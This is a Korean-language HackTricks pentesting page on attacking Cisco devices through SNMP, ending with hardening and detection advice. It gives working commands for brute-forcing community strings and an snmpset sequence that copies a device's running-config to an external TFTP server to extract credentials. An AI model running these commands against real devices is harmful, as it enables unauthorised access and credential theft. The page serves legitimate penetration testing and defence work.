Cisco SNMP

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Pentesting Cisco Networks

SNMP๋Š” ์ผ๋ฐ˜ ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•ด 161/UDP ํฌํŠธ์™€ ํŠธ๋žฉ ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•ด 162/UDP ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ UDP์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ”„๋กœํ† ์ฝœ์€ SNMP ์—์ด์ „ํŠธ์™€ ๊ด€๋ฆฌ์ž ๊ฐ„์˜ ํ†ต์‹ ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ํ‰๋ฌธ โ€œ๋น„๋ฐ€๋ฒˆํ˜ธโ€ ์—ญํ• ์„ ํ•˜๋Š” ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฌธ์ž์—ด์€ ์ ‘๊ทผ ์ˆ˜์ค€์„ ๊ฒฐ์ •ํ•˜๋ฉฐ, ํŠนํžˆ ์ฝ๊ธฐ ์ „์šฉ(RO) ๋˜๋Š” ์ฝ๊ธฐ-์“ฐ๊ธฐ(RW) ๊ถŒํ•œ์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

๊ณ ์ „์ ์ด์ง€๋งŒ ์—ฌ์ „ํžˆ ๋งค์šฐ ํšจ๊ณผ์ ์ธ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์„ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•˜์—ฌ ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž์—์„œ ์žฅ์น˜ ๊ด€๋ฆฌ์ž(RW ์ปค๋ฎค๋‹ˆํ‹ฐ)๋กœ ์ƒ์Šนํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ์ž‘์—…์„ ์œ„ํ•œ ์‹ค์šฉ์ ์ธ ๋„๊ตฌ๋Š” onesixtyone:

onesixtyone -c community_strings.txt -i targets.txt

๋‹ค๋ฅธ ๋น ๋ฅธ ์˜ต์…˜์€ Nmap NSE ์Šคํฌ๋ฆฝํŠธ snmp-brute ๋˜๋Š” Hydra์˜ SNMP ๋ชจ๋“ˆ์ž…๋‹ˆ๋‹ค:

nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

SNMP๋ฅผ ํ†ตํ•œ ๊ตฌ์„ฑ ๋คํ”„ (CISCO-CONFIG-COPY-MIB)

RW ์ปค๋ฎค๋‹ˆํ‹ฐ๋ฅผ ์–ป์œผ๋ฉด CLI ์ ‘๊ทผ ์—†์ด CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96)๋ฅผ ์•…์šฉํ•˜์—ฌ ์‹คํ–‰ ์ค‘์ธ ๊ตฌ์„ฑ/์‹œ์ž‘ ๊ตฌ์„ฑ์„ TFTP/FTP ์„œ๋ฒ„๋กœ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  1. Nmap NSE โ€“ snmp-ios-config
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

์Šคํฌ๋ฆฝํŠธ๋Š” ๋ณต์‚ฌ ์ž‘์—…์„ ์ž๋™์œผ๋กœ ์กฐ์ •ํ•˜๊ณ  ๊ตฌ์„ฑ์„ stdout์— ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.

  1. ์ˆ˜๋™ snmpset ์‹œํ€€์Šค
# Copy running-config (4) to a TFTP server (1) โ€“ random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

ํ–‰ ์‹๋ณ„์ž๋Š” ์ผํšŒ์„ฑ์ž…๋‹ˆ๋‹ค; 5๋ถ„ ์ด๋‚ด์— ์žฌ์‚ฌ์šฉํ•˜๋ฉด inconsistentValue ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ์ด TFTP ์„œ๋ฒ„์— ์žˆ์œผ๋ฉด ์ž๊ฒฉ ์ฆ๋ช…(enable secret, username <user> secret ๋“ฑ)์„ ๊ฒ€์‚ฌํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •๋œ ๊ตฌ์„ฑ์„ ์žฅ์น˜๋กœ ๋‹ค์‹œ ํ‘ธ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


Metasploit goodies

  • cisco_config_tftp โ€“ ๋™์ผํ•œ MIB๋ฅผ ์•…์šฉํ•œ ํ›„ TFTP๋ฅผ ํ†ตํ•ด running-config/startup-config๋ฅผ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.
  • snmp_enum โ€“ ์žฅ์น˜ ์ธ๋ฒคํ† ๋ฆฌ ์ •๋ณด, VLAN, ์ธํ„ฐํŽ˜์ด์Šค ์„ค๋ช…, ARP ํ…Œ์ด๋ธ” ๋“ฑ์„ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค.
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

์ตœ๊ทผ Cisco SNMP ์ทจ์•ฝ์  (2023 โ€“ 2025)

๋ฒค๋” ๊ถŒ๊ณ  ์‚ฌํ•ญ์„ ์ถ”์ ํ•˜๋Š” ๊ฒƒ์€ ์ฐธ์—ฌ ๋‚ด์—์„œ ์ œ๋กœ๋ฐ์ด-ํˆฌ-์—”๋ฐ์ด ๊ธฐํšŒ๋ฅผ ๋ฒ”์œ„ ์ง€์ •ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:

์—ฐ๋„CVE์˜ํ–ฅ์„ ๋ฐ›๋Š” ๊ธฐ๋Šฅ์˜ํ–ฅ
2025CVE-2025-20174SNMP ์„œ๋ธŒ์‹œ์Šคํ…œ์กฐ์ž‘๋œ ํŒจํ‚ท์ด IOS/IOS-XE (v1/v2c/v3)์—์„œ ์ธ์ฆ๋œ DoS (์žฌ์‹œ์ž‘)๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.
2024CVE-2024-20373IPv4 ACL ์ฒ˜๋ฆฌ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ํ™•์žฅ ACL์ด ์กฐ์šฉํžˆ ์‹คํŒจํ•˜์—ฌ ์œ ํšจํ•œ ์ปค๋ฎค๋‹ˆํ‹ฐ/์‚ฌ์šฉ์ž๊ฐ€ ์•Œ๋ ค์ง„ ๊ฒฝ์šฐ ์ธ์ฆ๋˜์ง€ ์•Š์€ SNMP ํด๋ง์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
2025(์•„์ง CVE ์—†์Œ)SNMPv3 ๊ตฌ์„ฑ ์ œํ•œ ์šฐํšŒ์œ ํšจํ•œ v3 ์‚ฌ์šฉ์ž๊ฐ€ ๊ฑฐ๋ถ€๋˜์–ด์•ผ ํ•˜๋Š” ์ฃผ์†Œ์—์„œ ํด๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์€ ์ข…์ข… ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์ด๋‚˜ v3 ์ž๊ฒฉ ์ฆ๋ช…์„ ์†Œ์œ ํ•˜๋Š” ๋ฐ ์—ฌ์ „ํžˆ ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฌด์ž‘์œ„ ๋Œ€์ž… ๊ณต๊ฒฉ์ด ์—ฌ์ „ํžˆ ๊ด€๋ จ์„ฑ์ด ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ ์ด์œ ์ž…๋‹ˆ๋‹ค.


๊ฐ•ํ™” ๋ฐ ํƒ์ง€ ํŒ

  • ์ˆ˜์ •๋œ IOS/IOS-XE ๋ฒ„์ „์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜์‹ญ์‹œ์˜ค (์œ„์˜ CVE์— ๋Œ€ํ•œ Cisco ๊ถŒ๊ณ  ์ฐธ์กฐ).
  • v1/v2c๋ณด๋‹ค authPriv (SHA-256/AES-256)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” SNMPv3๋ฅผ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • SNMP๋ฅผ ๊ด€๋ฆฌ VRF์— ๋ฐ”์ธ๋”ฉํ•˜๊ณ  ํ‘œ์ค€ ๋ฒˆํ˜ธ๊ฐ€ ๋งค๊ฒจ์ง„ IPv4 ACL๋กœ ์ œํ•œํ•˜์‹ญ์‹œ์˜ค (ํ™•์žฅ๋œ ์ด๋ฆ„ ACL์€ ์œ„ํ—˜ํ•ฉ๋‹ˆ๋‹ค โ€“ CVE-2024-20373).
  • RW ์ปค๋ฎค๋‹ˆํ‹ฐ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค; ์šด์˜์ƒ ํ•„์š”ํ•  ๊ฒฝ์šฐ ACL ๋ฐ ๋ทฐ๋กœ ์ œํ•œํ•˜์‹ญ์‹œ์˜ค: snmp-server community <string> RW 99 view SysView
  • ๋‹ค์Œ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์‹ญ์‹œ์˜ค:
  • UDP/161 ๊ธ‰์ฆ ๋˜๋Š” ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ์ถœ์ฒ˜ (SIEM ๊ทœ์น™).
  • ๋น„๋Œ€์—ญ ๊ตฌ์„ฑ ๋ณ€๊ฒฝ์„ ๋‚˜ํƒ€๋‚ด๋Š” CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource ์ด๋ฒคํŠธ.
  • ํŠน์ • DoS ๋ฒกํ„ฐ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด SNMPv3 ๋กœ๊น… ๋ฐ snmp-server packetsize 1500์„ ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค.

์ฐธ์กฐ

  • Cisco: Cisco ์žฅ์น˜ ๊ฐ„ ๊ตฌ์„ฑ ๋ณต์‚ฌ ๋ฐฉ๋ฒ•
  • Cisco ๋ณด์•ˆ ๊ถŒ๊ณ  cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ